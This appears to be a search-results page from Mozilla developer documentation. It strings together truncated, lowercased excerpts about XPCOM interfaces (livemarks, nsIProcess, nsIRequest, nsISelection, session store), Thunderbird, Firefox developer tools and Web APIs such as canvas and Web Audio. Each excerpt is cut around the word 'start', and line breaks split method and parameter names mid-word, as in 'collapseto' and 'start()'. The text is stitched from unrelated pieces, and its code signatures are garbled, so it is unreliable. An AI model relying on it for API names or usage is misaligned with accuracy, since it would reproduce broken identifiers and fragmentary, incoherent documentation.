long long createlivemark( in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index ); parameters folder the id of the parent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was crea...
...arent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was created. feeduri the uri of the actual rss feed. index the index to insert at, or -1 to append to the end of the list. return value the id of the folder for the livemark. createlivemarkfolderonly() this method also creates a new livemark but use this method during
startup to avoid http traffic. long long createlivemarkfolderonly( in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index ); parameters folder the id of the parent folder. name the name to show when displaying the livemark. siteuri the uri of the site from which the livemark was created. feeduri the uri of the actual rss feed. index the index ...
..., in nsiuri siteuri ); parameters container the folder id of a livemark container. siteuri nsiuri object representing the site uri, or null to clear the site uri for this livemark container. exceptions thrown ns_error_invalid_arg if the folder id isn't known or identifies a folder that isn't a livemark container; also if the siteuri argument isn't a valid nsiuri object (or null)
start() this method
starts the livemark refresh timer. being able to manually control this allows activity such as bookmarks import to occur without kicking off http traffic. void
start(); parameters none. stopupdatelivemarks() stop the livemark refresh timer. void stopupdatelivemarks(); parameters none. see also places livemark service nsinavbookmarksservice ...
nsIProcess
e if the process was run with blocking disabled. read only. location nsifile the location of the executable file on disk. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. pid unsigned long the process id of the process. this value is only available after the process has
started; in addition, some platforms may not offer this value at all. read only. processname string the name of the process. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. processsignature unsigned long the process signature. read only. gecko 1.9.1 note this a...
...mented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. processsignature unsigned long the process signature. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. methods init() initializes the nsiprocess with the specified executable file. once initialized, you can
start the process executing by calling run(). note: this function does not work with application bundles on mac os x, see bug 307463 for details. void init( in nsifile executable ); parameters executable the nsifile executable file to be represented by the nsiprocess object. initwithpid() obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) init...
...d( in unsigned long pid ); parameters pid the process id to begin to represent. kill() immediately terminates the process represented by the nsiprocess object. this only works if the process was run without blocking enabled. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method did not work on windows or mac os x. now it does. void kill(); parameters none. run()
starts executing the process. gecko 1.9.1 note prior to gecko 1.9.1 (firefox 3.5), this method returned the process id of the newly executing process. it no longer returns a value. void run( in boolean blocking, [array, size_is(count)] in string args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method retu...
nsIRequest
netwerk/base/nsirequest.idlscriptable this interface is used by the request initiator to control the request. inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) for example nsichannel typically passes itself as the nsirequest argument to the nsistreamlistener on each on
startrequest, ondataavaliable, and onstoprequest invocation. method overview void cancel(in nsresult astatus); boolean ispending(); void resume(); void suspend(); attributes attribute type description loadflags nsloadflags the load flags of this request. bits 0-15 are reserved. when added to a load group, this request's load flags are merged with the load flags of the load group.
...-effects. constant value description validate_always 1 << 11 forces validation of any cached content independent of its expiration time. validate_never 1 << 12 disables validation of expired content. validate_once_per_session 1 << 13 disables validation of expired content, provided it has already been validated (at least once) since the
start of this session. constant value description load_anonymous 1 << 14 when set, this flag indicates that no user-specific data should be added to the request when opened. this means that things like authorization tokens or cookie headers should not be added. note: this will prevent proxy authentications from working, so use this flag with caution. ...
... allow astatus to be a success code such as ns_ok. in general, astatus should be a failure code. void cancel( in nsresult astatus ); parameters astatus the reason for canceling this request. ispending() indicates whether the request is pending. ispending is true when there is an outstanding asynchronous event that will make the request no longer be pending. requests do not necessarily
start out pending; in some cases, requests have to be explicitly initiated (for example nsichannel implementations are only pending once asyncopen returns successfully). requests can become pending multiple times during their lifetime. note: suspended requests are still considered pending. boolean ispending(); parameters none. return value true if the request has yet to reach completion. resum...
nsISelection
.createinstance(components.interfaces.nsiselection); method overview void addrange(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in long offset); native code only! void collapsetoend(); void collapseto
start(); boolean containsnode(in nsidomnode node, in boolean partlycontained); void deletefromdocument(); void extend(in nsidomnode parentnode, in long offset); void extendnative(in nsidomnode parentnode, in long offset); native code only! nsidomrange getrangeat(in long index); void modify(in domstring alter, in domstring direction, in domstring gr...
...oolean collapsed(); native code only!collapsenative void collapsenative( in nsinode parentnode, in long offset ); parameters parentnode offset collapsetoend() collapses the whole selection to a single point at the end of the current selection (regardless of direction). if content is focused and editable, the caret will blink there. void collapsetoend(); parameters none collapseto
start() collapses the whole selection to a single point at the
start of the current selection (regardless of direction). if content is focused and editable, the caret will blink there. void collapseto
start(); containsnode() indicates whether the nsidomnode is part of the selection. if partlycontained is set to pr_true, the function returns true when some part of the node is part of the selection. if p...
...dify() modifies the selection. note that the parameters are case-insensitive. void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend()" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed() selection. "extend()" leaves the
start of the selection unchanged, and applies movement direction/granularity to the end of the selection. direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } removeallranges() removes all nsidomranges from the current selection. void removeallranges(); parameters none removerange() removes a ...
nsISessionStore
indows. the api operates on top-level browser.xul and navigator.xul windows; see note on windows for details. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in versions of firefox prior to 3.5, the user preference browser.sessionstore.enabled must be true for these calls to be successful.
starting in firefox 3.5, this preference is no longer used. method overview void deletetabvalue(in nsidomnode atab, in astring akey); void deletewindowvalue(in nsidomwindow awindow, in astring akey); nsidomnode duplicatetab(in nsidomwindow awindow, in nsidomnode atab); nsidomnode forgetclosedtab(in nsidomwindow awindow, in unsigned long aindex); nsidomno...
...w the browser window in which to reopen a closed tab. aindex the index number of the closed tab to restore. this should be a value from 0 to one less than the value returned by getclosedtabcount(). the list of closed tabs is stored in last in/first out (lifo) order, so the tab at index 0 is the last one that was closed. return value prior to gecko 1.9.1, this method did not return anything.
starting with gecko 1.9.1, it returns a reference to the reopened tab as an nsidomnode object. undoclosewindow() reopens a closed window. nsidomwindow undoclosewindow( in unsigned long aindex ); parameters aindex the index of the window to be restored. this should be a value from 0 to one less than that returned by getclosedwindowcount(). the list of closed windows is stored in last in/first...
...chrome window, here is how you find its corresponding tab: function tabfromdoc(doc) { var no = gbrowser.getbrowserindexfordocument(doc); return gbrowser.tabcontainer.childnodes[no]; } // example use: cc['@mozilla.org/browser/sessionstore;1'] .getservice(ci.nsisessionstore) .settabvalue(tabfromdoc(mycontentdoc), 'mykey', 'myvalue'); see also the session store api article. nsisession
startup json ...
nsISupportsArray
an enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); violates the xpcom interface guidelines long getindexof(in nsisupports apossibleelement); long getindexof
startingat(in nsisupports apossibleelement, in unsigned long a
startindex); long getlastindexof(in nsisupports apossibleelement); long indexof([const] in nsisupports apossibleelement); violates the xpcom interface guidelines long indexof
startingat([const] in nsisupports apossibleelement, in unsigned long a
startindex); violates the xpcom interface guidelines boolean insertelementat(in nsisupports...
...pt] boolean enumerateforwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value violates the xpcom interface guidelines equals() boolean equals( [const] in nsisupportsarray other ); parameters other return value getindexof() long getindexof( in nsisupports apossibleelement ); parameters apossibleelement return value getindexof
startingat() long getindexof
startingat( in nsisupports apossibleelement, in unsigned long a
startindex ); parameters apossibleelement a
startindex return value getlastindexof() long getlastindexof( in nsisupports apossibleelement ); parameters apossibleelement return value violates the xpcom interface guidelines indexof() long indexof( [const] in nsisupports apossibleelement ); ...
...dex ); parameters apossibleelement a
startindex return value getlastindexof() long getlastindexof( in nsisupports apossibleelement ); parameters apossibleelement return value violates the xpcom interface guidelines indexof() long indexof( [const] in nsisupports apossibleelement ); parameters apossibleelement return value violates the xpcom interface guidelines indexof
startingat() long indexof
startingat( [const] in nsisupports apossibleelement, in unsigned long a
startindex ); parameters apossibleelement a
startindex return value violates the xpcom interface guidelines insertelementat() boolean insertelementat( in nsisupports aelement, in unsigned long aindex ); parameters aelement aindex return value violates the xpcom interface guidelin...
nsIWindowsShellService
ttribute type description desktopbackgroundcolor unsigned long the desktop background color, visible when no background image is used, or if the background image is centered and does not fill the entire screen. a rgb value, where (r << 24 | g << 16 | b) obsolete since gecko 1.8 unreadmailcount unsigned long the number of unread mail messages for the current user. read only. constants valid
starting keys for the windows registry. constant value description hkcr 0 hkey_classes_root. obsolete since gecko 1.8 hkcc 1 hkey_current_config. obsolete since gecko 1.8 hkcu 2 hkey_current_user. obsolete since gecko 1.8 hklm 3 hkey_local_machine. obsolete since gecko 1.8 hku 4 hkey_users. obsolete since gecko 1.8 methods getregistryentry() obsolete since gecko 1.8 (fi...
...hklm 3 hkey_local_machine. obsolete since gecko 1.8 hku 4 hkey_users. obsolete since gecko 1.8 methods getregistryentry() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) retrieves a windows registry entry value. string getregistryentry( in long ahkeyconstant, in string asubkeyname, in string avaluename ); parameters ahkeyconstant the
starting key, using the constants defined above. asubkeyname the sub key to locate. avaluename the value to locate in the sub key. the empty string returns the default value of the sub key. return value the value of the specified sub key/value, truncated to 4096 bytes. restorefilesettings() obsolete since gecko 1.9 (firefox 3) restores system settings to what they were before...
...void shortcutmaintenance(); parameters none. ...
nsIXULRuntime
66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/xre/app-info;1. to get an instance, use: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulruntime); method overview void invalidatecachesonre
start(); attributes attribute type description accessibilityenabled boolean if true, the accessibility service is running. read only. browsertabsremoteauto
start boolean if true, browser tabs may be opened by default in a different process from the main browser ui. read only. insafemode boolean whether the application was launched...
...may be opened by default in a different process from the main browser ui. read only. insafemode boolean whether the application was launched in safe mode. read only. is64bit boolean indicates whether the current firefox build is 64-bit. read only. logconsoleerrors boolean whether to write console errors to a log file. if a component encounters
startup errors that might prevent the app from showing proper ui, it should set this flag to true. os autf8string a string tag identifying the current operating system. this is taken from the os_target configure variable. it will always be available. read only. processid unsigned long the system process id of the caller's process. read only. processtype unsign...
...able. read only. constants process type constants constant value description process_type_default 0 the default (chrome) process. process_type_plugin 1 a plugin subprocess. process_type_content 2 a content subprocess. process_type_ipdlunittest 3 ipdl unit testing subprocess. methods invalidatecachesonre
start() signal the apprunner to invalidate caches on the next re
start. this will cause components to be auto registered and all fast load data to be re-created. void invalidatecachesonre
start(); parameters none. example display the user's operating system in an alert box: var xulruntime = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfa...
Status, Recent Changes, and Plans
i put this section at the top so that checking for recent changes will be easy. recent changes to nscomptr most recent first made == and != between an nscomptr and a raw pointer (or a literal 0 or nsnull) work correctly on all compilers. see bug 65664. made getter_addrefs( nscomptr& ) apply the same type-safety check that the simple assignment forms do. added do_createinstance. added do_getservice. eliminated the need to cast getter_addrefs when an nsisupports** is needed. ...
...hat the simple assignment forms do. added do_createinstance. added do_getservice. eliminated the need to cast getter_addrefs when an nsisupports** is needed. relaxed the invariant for nscomptr<nsisupports>, so that it is now a pointer to any xpcom interface. added do_queryreferent to make using nsiweakreferences easier. plans for nscomptr bug 59212: as soon as we test on more compilers,
start recommending already_addrefed as a function result. bug 59414: making operator& private may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library. recent changes to this document removed the statement that == and != between an nscomptr and a raw pointer or literal 0 does not work on ...
...rivate may help prevent some leaks caused by casting move the factored nscomptr routines into their own library, to reduce nscomptr clients' dependency on the xpcom library. recent changes to this document removed the statement that == and != between an nscomptr and a raw pointer or literal 0 does not work on some compilers since it is no longer true. added an entire section to the getting
started guide on nscomptrs in function signatures added references to recent bugs influencing the use of nscomptr machinery: bug 59212, and bug 59414 fixed comparisons 1 and 3, as per comments by morten welinder updated examples to prefer direct initialization over copy initialization. ...
Address book sync client design
y simple interface to the address book sync component. this interface is defined in mozilla/mailnews/addrbook/public/nsiabsyncdriver.idl #include "nsrootidl.idl" #include "nsiabsynclistener.idl" [scriptable, uuid(91fdfee1-efbc-11d3-8f97-000073757374)] interface nsiabsyncdriver : nsiabsynclistener { void kickit(); }; as you can see, this is a very simple interface which allows for the
starting of the address book sync operation. the interface of greater interest is the address book sync listener. this provides feedback of the current sync operation. this interface is as follows: #include "nsisupports.idl" #include "nsrootidl.idl" #include "nsifilespec.idl" [scriptable, uuid(e0ed29e0-098a-11d4-8fd6-00a024a7d144)] interface nsiabsynclistener : nsisupports { /** * notif...
...nc listener. this provides feedback of the current sync operation. this interface is as follows: #include "nsisupports.idl" #include "nsrootidl.idl" #include "nsifilespec.idl" [scriptable, uuid(e0ed29e0-098a-11d4-8fd6-00a024a7d144)] interface nsiabsynclistener : nsisupports { /** * notify the observer that the ab sync authorization operation has begun. * */ void on
startauthoperation(); /** * notify the observer that the ab sync operation has been completed. * * this method is called regardless of whether the the operation was * successful. * * atransactionid - the id for this particular request * astatus - status code for the sync request * amsg - a text string describing the error...
... * amsg - a text string describing the error (if any). * acookie - hmmm...cooookies! */ void onstopauthoperation(in nsresult astatus, in wstring amsg, in string acookie); /** * notify the observer that the ab sync operation has begun. ...
Index
tags and summary 1 thunderbird thunderbird thunderbird is a mail/messaging application managed and developed by the thunderbird community. these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox. 2 account provisioner the account provisioner is the dialog that first comes up when
starting thunderbird. the account provisioner gives the user the chance to search for and order a vanity email account from a list of partner providers. if the user already has an email account, the user can switch to the original account setup wizard. 3 account examples extensions, thunderbird this article provides examples on accessing and manipulating thunderbird accounts. accou...
...ocol is used to read messages from a local folder berkeley mailbox. it consists of nsmailboxservice, nsmailboxurl, and nsmailboxprotocol. this may seem like a lot of infrastructure just to read messages from a flat file, but it allows us to do it asynchronously, and to have reading local messages fit into the same kind of mechanisms that reading nntp and imap messages do - running urls, getting on
start/stoprunningurl notifications when the url
starts/stops, etc. 43 mailnews and mail code review requirements this document describes the process for reviewing patches to the mozilla/mailnews and mozilla/mail directories. thunderbird and seamonkey are the primary users of the code in mozilla/mailnews. thunderbird's front-end code is stored in mozilla/mail. (a fair amount of th...
....mozilla.org/thu...er-categories/ for an example. 106 modify message list needscontent, needsupdate, missing, thunderbird this page has no content. enrich mdc by contributing. 107 use sqlite thunderbird if you'd like to use an sqlite database in your extension you'll need to look over the storage docs for an api reference, however this code should get you
started. be careful of multi-thread access to your database. 108 folders and message lists guide, thunderbird the folderdisplaywidget for the current folder can be accessed via the global variable gfolderdisplay. this object provides many of the functions required for working with folder views. we'll look at some of them below. 109 thunderbird developer reference docs ...
Zombie compartments
emory leak, and they cause firefox's memory usage to increase gradually over time, slowing it down and making it more likely to crash. reactive checking if you look at about:memory and you see a compartment for www.foo.com, but you closed your last www.foo.com tab a while ago, there's a good chance you're seeing a zombie compartment. follow these steps to make a more conclusive diagnosis. re
start the browser. open the page that you think might cause a zombie compartment. open about:memory in another tab to confirm that the relevant compartment is present. close the first page. minimize memory usage and remeasure in about:memory. it might be worth refreshing multiple times just to be sure. if the compartment is still present in about:memory, that's very suspicious. you could try wai...
...u have multiple tabs open it's easy to mis-identify whether a compartment should still be alive. if you only have about:memory open, things are much simpler. proactive checking of add-ons it's not uncommon for add-ons to cause zombie compartments, see bug 700547 for examples. follow these steps to do some basic checking of an add-on. create a new profile. install and enable the add-on. re
start the browser. browse one or more pages and do something that exercises the add-on. for example, for an add-on that remembers passwords, visit a site that requires a password; for an add-on that performs an operation involving a specific page element such as an image or a chunk of text, perform that operation. the more you exercise the add-on, the more thorough the testing will be, but in pract...
...emory and remeasure, multiple times if necessary. if only system compartments are present, and there are no ghost windows, congratulations! that's a good sign that the add-on doesn't cause zombie compartments. otherwise, please file a bug (using the "tech evangelism" product and the "add-ons" component), add "[memshrink]" to its whiteboard, and mark it as blocking bug 668871 and bug 700547. re
startless add-ons should also take special care that all their compartments get destroyed after disabling or uninstalling the add-on. (please note that you may need to close the about:addons ui before changes are made). avoiding zombie compartments in add-ons once you know that an add-on causes a zombie compartment, the only way to identify the cause is to read the add-on's code. see common causes ...
Plugin Roadmap for Firefox - Plugins
chnology, and mozilla has been moving toward a web which doesn't need plugins. the last remaining npapi plugin, adobe flash, has announced an end-of-life plan. to support the transition away from flash, firefox is working with other browsers to progressively and carefully make flash usage less common. below is the roadmap of past and future support for plugins in firefox. schedule june 2016
starting with firefox 47 in june 2016, all plugins other than adobe flash are click-to-activate. users choose which sites are allowed to activate each plugin. in addition, the 64-bit firefox for windows only supports the flash plugin. march 2017
starting with firefox 52 in march 2017, plugins other than adobe flash are no longer supported in firefox. firefox extended support release 52 will continue ...
...e flash are click-to-activate. users choose which sites are allowed to activate each plugin. in addition, the 64-bit firefox for windows only supports the flash plugin. march 2017
starting with firefox 52 in march 2017, plugins other than adobe flash are no longer supported in firefox. firefox extended support release 52 will continue to support non-flash plugins until early 2018. august 2017
starting with firefox 55 in august 2017, users must choose which sites are allowed to activate the flash plugin. users will have the choice to remember the flash setting per-site. ...
... 2019 in september 2019, firefox 69 will remove the "always activate" flash option so we always ask for user permission before activating flash on a website. 2020 in december 2020, flash support will be completely removed from consumer versions of firefox. ...
Accessibility Inspector - Firefox Developer Tools
m to interact with the page. the accessibility inspector also uses this information to provide valuable accessibility debugging capabilities in the devtools. accessing the accessibility inspector when you first open any of the other developer tools, the accessibility features are turned off (unless you've already got them turned on in another browser tab, or got the firefox accessibility engine
started already, e.g., you might be a screenreader user or tester). this is because the accessibility engine runs in the background when the accessibility features are turned on. while it’s running, it slows performance and takes up memory; therefore it interferes with the metrics from other panels such as memory and performance as well as overall browser performance. for this reason, you should keep...
...accessibility features are turned on. while it’s running, it slows performance and takes up memory; therefore it interferes with the metrics from other panels such as memory and performance as well as overall browser performance. for this reason, you should keep it turned off when you aren't specifically using it. when first implemented, the accessibility engine had to be explicitly turned on.
starting in firefox 79, it is automatically enabled when you do one of the following: choose accessibility in the tools > web developer menu. select the accessibility tab in the developer tools toolbox. right-click in the main browser window, and choose inspect accessibility properties in the context menu. right-click an item in the html pane of the page inspector, and choose show accessibility p...
...perties in the right-hand pane), but then continue picking as many times as you like (the picker does not get cancelled) until you release the shift key. when the picker is activated, you can also deactivate it by pressing the picker button a second time, or pressing the esc key. typical use cases the accessibility inspector is very useful for spotting accessibility problems at a glance. for a
start, you can investigate items that don't have a proper text equivalent — images without alt text and form elements without proper labels have a name property of null, for example. it is also very handy for verifying semantics — you can use the inspect accessibility properties context menu option to quickly see whether an item has the correct role set on it (e.g., whether a button is really a ...
Browser Toolbox - Firefox Developer Tools
use the browser toolbox for add-ons that are neither. enabling the browser toolbox the browser toolbox is not enabled by default. ...
...n property to false): click ok, and the browser toolbox will open in its own window: you'll be able to inspect the browser's chrome windows and see, and be able to debug, all the javascript files loaded by the browser itself and by any add-ons that are running. altogether you will have access to the following developer tools: debugger (note: if you want to debug a specific add-on that is re
startless or sdk-based then try the add-on debugger.) console style editor performance network monitor page inspector accessibility inspector you can debug chrome: and about: pages using the normal debugger, just as if they were ordinary content pages. targeting a document in the normal toolbox, there's a button in the toolbar enabling you to target specific iframes in the document. the same ...
...ere is a way to disable this behavior. click the toolbox menu and select disable popup auto-hide. now when you open any popup, it will stay open until you press the esc key. you can use the inspector's node picker to select that panel, and examine and modify its content: you can use the same technique to debug popups created by add-ons. note: this change is not persistent across browser re
starts. when you close the browser toolbox, the setting will be cleared. ...
Migrating from Firebug - Firefox Developer Tools
new rule and additionally have a + button within the rules panel's toolbar to create new rules. to edit element styles, i.e. the css properties of the style attribute of an element, in firebug you have to right-click into the style side panel and choose edit element style... from the context menu. the devtools display an element {} rule for this purpose, which requires a single click into it to
start editing the properties. auto-completion of css as in firebug, the rules view provides an auto-completion for the css property names and their values. a few property values are not auto-completed yet, which is tracked in bug 1337918. copy & paste css firebug's style side panel as well as the devtools' rules side panel provide options within their context menus to copy the css rule or the style...
...lso not via a regular expression (see bug 1362030. performance tool firebug allows to profile javascript performance via the "profile" button within the console panel or the console.profile() and console.profileend() commands. the devtools provide advanced tooling regarding performance profiling. a profile can be created via console.profile() and console.profileend() like in firebug or via the "
start recording performance" button in the performance tool. the output of the call tree is the one that comes nearest to the output in firebug, but the performance panel provides much more information than just the javascript performance. e.g. it also provides information about html parsing or layout. this is the part where firebug and the devtools differ the most, because the outputs are completely ...
...gle one by right-clicking on a cookie and choosing delete all resp. delete "<cookie name>". additionally, it allows to delete all cookies from a specific domain via the context menu option delete all from "<domain name>". it currently does not allow to only delete session cookies (see bug 1336934). developer toolbar display of error count when there are javascript errors on a page, the firebug
start button shows a badge with their number. the devtools show the number of errors in the developer toolbar. command api firebug offers a great variety of commands, which can be executed within its command line. the developer toolbar also provides an api with a lot of different commands to control the devtools and execute different tasks. feedback we are always happy to respond to feedback and qu...
Page inspector keyboard shortcuts - Firefox Developer Tools
e up arrow up arrow up arrow move to first node in the tree. home home home move to last node in the tree. ...
...cted node left arrow left arrow left arrow (when a node is selected) move inside the node so you can
start stepping through attributes. ...
...cos linux focus on the search box in the css pane ctrl + f cmd + f ctrl + f clear search box content (only when the search box is focused, and content has been entered) esc esc esc step forward through properties and values tab tab tab step backward through properties and values shift + tab shift + tab shift + tab
start editing property or value (rules view only, when a property or value is selected, but not already being edited) enter or space return or space enter or space cycle up and down through auto-complete suggestions (rules view only, when a property or value is being edited) up arrow , down arrow up arrow , down arrow up arrow , down arrow choose current auto-complet...
Animating CSS properties - Firefox Developer Tools
the intention of this scenario isn't to convince you that animating using margin is always a bad idea. it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance problems. if you want to play along, the demo website is here. ...
...you'll only need to record a few seconds. open up the first recording. exactly what you'll see depends a lot on your machine and system load, but it will be something like this: this is showing three distinct views: (a) an overview of the waterfall, (b) the frame rate, and (c) the timeline details. ...
..."use transform", and make a new recording. it will look something like this: waterfall overview compared with the version that uses margin, we're seeing a lot less green and a lot more pink, which could be either layout or style recalculation. frame rate compared with the version that uses margin, this is looking pretty good. we're averaging nearly 60fps, and apart from one dip near the
start, we're getting a consistently high frame rate. waterfall the timeline view shows the reason for the improved frame rate. compared with the version that uses margin, we're not spending any time time in layout or (more importantly in this case) in paint: in this case, using transform significantly improved the site's performance, and the performance tools were able to show how and why it did. ...
Animation.playbackRate - Web APIs
ome paused). examples in the growing/shrinking alice game example, clicking or tapping the bottle causes alice's growing animation (alicechange) to reverse, causing her to shrink: var shrinkalice = function() { alicechange.playbackrate = -1; alicechange.play(); } // on tap or click, alice will shrink. ...
...ner("mousedown", shrinkalice, false); bottle.addeventlistener("touch
start", shrinkalice, false); contrariwise, clicking on the cake causes her to "grow," playing alicechange forwards again: var growalice = function() { alicechange.playbackrate = 1; alicechange.play(); } // on tap or click, alice will grow. ...
... working draft ...
AudioContext.getOutputTimestamp() - Web APIs
mestamp object, which has the following properties. contexttime: a point in the time coordinate system of the currenttime for the baseaudiocontext; the time after the audio context was first created. ...
...me: a point in the time coordinate system of the currenttime for the baseaudiocontext; the time after the audio context was first created. ...
...e following code we
start to play an audio file after a play button is clicked, and
start off a requestanimationframe loop running, which constantly outputs the contexttime and performancetime. you can see full code of this example at output-timestamp (see it live also). ...
AudioScheduledSourceNode.stop() - Web APIs
dsourcenode schedules a sound to cease playback at the specified time. if no time is specified, then the sound stops playing immediately. each time you call stop() on the same node, the specified time replaces any previously-scheduled stop time that hasn't occurred yet. if the node has already stopped, this method has no effect. note: if a scheduled stop time occurs before the node's scheduled
start time, the node never
starts to play. syntax audioscheduledsourcenode.stop([when]); parameters when optional the time, in seconds, at which the sound should stop playing. this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute. omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to sto...
...en optional the time, in seconds, at which the sound should stop playing. this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute. omitting this parameter, specifying a value of 0, or passing a negative value causes the sound to stop playback immediately. return value undefined exceptions invalidstatenode the node has not been
started by calling
start(). rangeerror the value specified for when is negative. example this example demonstrates
starting an oscillator node, scheduled to begin playing at once and to stop playing in one second. the stop time is determined by taking the audio context's current time from audiocontext.currenttime and adding 1 second. context = new audiocontext(); osc = context.createoscillator();...
...e this example demonstrates
starting an oscillator node, scheduled to begin playing at once and to stop playing in one second. the stop time is determined by taking the audio context's current time from audiocontext.currenttime and adding 1 second. context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* let's play a sine wave for one second. */ osc.
start(); osc.stop(context.currenttime + 1); specifications specification status comment web audio apithe definition of 'stop()' in that specification. working draft ...
Body.arrayBuffer() - Web APIs
so use audiocontext.createbuffersource to create an audio buffer source. when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination. ...
...ce to create an audio buffer source. when the fetch is successful, we read an arraybuffer out of the response using arraybuffer(), decode the audio data using audiocontext.decodeaudiodata, set the decoded data as the audio buffer source's buffer (source.buffer), then connect the source up to the audiocontext.destination. ...
... function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arra...
Using the CSS Typed Object Model - Web APIs
providing access to types, methods, and an object model for css values. this article provides an introduction to all of its main features. computedstylemap() with the css typed om api, we can access all the css properties and values — including custom properties — that are impacting an element. let's see how this works by creating our first example, which explores computedstylemap(). we
start with some html: a paragraph with a link, as well as a definition list to which we will add all the css property / value pairs. <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add javascript to grab our unstyled link and return back a definition list of all the default css property values impacting the link using computedstylemap(). // get the element const my...
...operties and values. in other browsers, you'll just see a link. did you realize how many default css properties a link had? update the javascript on line 2 to select the <p> rather than the <a>. you'll notice a difference in the margin-top and margin-bottom default computed values. .get() method / custom properties let's update our example to only retrieve a few properties and values. ...
...he value returned is the absolute path to the image — this is returned even if the original url() value was relative. had the background image been a gradient or multiple background images, .get('background-image') would have returned a cssstylevalue. the cssimagevalue is returned only if there is a single image, and only if that single image declaration is a url. summary this should get you
started with understanding the css typed om. take a look at all the css typed om interfaces to learn more. see also using the css painting api ...
CanvasRenderingContext2D.arc() - Web APIs
the canvasrenderingcontext2d.arc() method of the canvas 2d api adds a circular arc to the current sub-path. syntax void ctx.arc(x, y, radius,
startangle, endangle [, anticlockwise]); the arc() method creates a circular arc centered at (x, y) with a radius of radius. the path
starts at
startangle, ends at endangle, and travels in the direction given by anticlockwise (defaulting to clockwise). parameters x the horizontal coordinate of the arc's center. y the vertical coordinate of the arc's center. radius the arc's radius. must be positive.
startangle the angle at which the arc
starts in radians, measured from the positive x-axis. endangle the angle at which the arc ends in radians, measured from the positive x-axis. anticlockwise optional an optional boolean. if true, draws t...
...the default is false (clockwise). examples drawing a full circle this example draws a complete circle with the arc() method. html <canvas></canvas> javascript the arc is given an x-coordinate of 100, a y-coordinate of 75, and a radius of 50. ...
...const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); // draw shapes for (let i = 0; i <= 3; i++) { for (let j = 0; j <= 2; j++) { ctx.beginpath(); let x = 25 + j * 50; // x coordinate let y = 25 + i * 50; // y coordinate let radius = 20; // arc radius let
startangle = 0; //
starting point on circle let endangle = math.pi + (math.pi * j) / 2; // end point on circle let anticlockwise = i % 2 == 1; // draw anticlockwise ctx.arc(x, y, radius,
startangle, endangle, anticlockwise); if (i > 1) { ctx.fill(); } else { ctx.stroke(); } } } result screenshotlive sample spe...
CanvasRenderingContext2D.createLinearGradient() - Web APIs
gradient must first be assigned to the fillstyle or strokestyle properties. note: gradient coordinates are global, i.e., relative to the current coordinate space. when applied to a shape, the coordinates are not relative to the shape's coordinates. syntax canvasgradient ctx.createlineargradient(x0, y0, x1, y1); the createlineargradient() method is specified by four parameters defining the
start and end points of the gradient line. parameters x0 the x-axis coordinate of the
start point. y0 the y-axis coordinate of the
start point. x1 the x-axis coordinate of the end point. y1 the y-axis coordinate of the end point. return value canvasgradient a linear canvasgradient initialized with the specified line. examples filling a rectangle with a linear gradient this example ...
...is coordinate of the
start point. x1 the x-axis coordinate of the end point. y1 the y-axis coordinate of the end point. return value canvasgradient a linear canvasgradient initialized with the specified line. examples filling a rectangle with a linear gradient this example initializes a linear gradient using the createlineargradient() method. three color stops between the gradient's
start and end points are then created. finally, the gradient is assigned to the canvas context, and is rendered to a filled rectangle. ...
...ear gradient using the createlineargradient() method. three color stops between the gradient's
start and end points are then created. finally, the gradient is assigned to the canvas context, and is rendered to a filled rectangle. ...
CanvasRenderingContext2D.textAlign - Web APIs
the canvasrenderingcontext2d.textalign property of the canvas 2d api specifies the current text alignment used when drawing text. the alignment is relative to the x value of the filltext() method. for example, if textalign is "center", then the text's left edge will be at x - (textwidth / 2). syntax ctx.textalign = "left" || "right" || "center" || "
start" || "end"; options possible values: "left" the text is left-aligned. "right" the text is right-aligned. "center" the text is centered. "
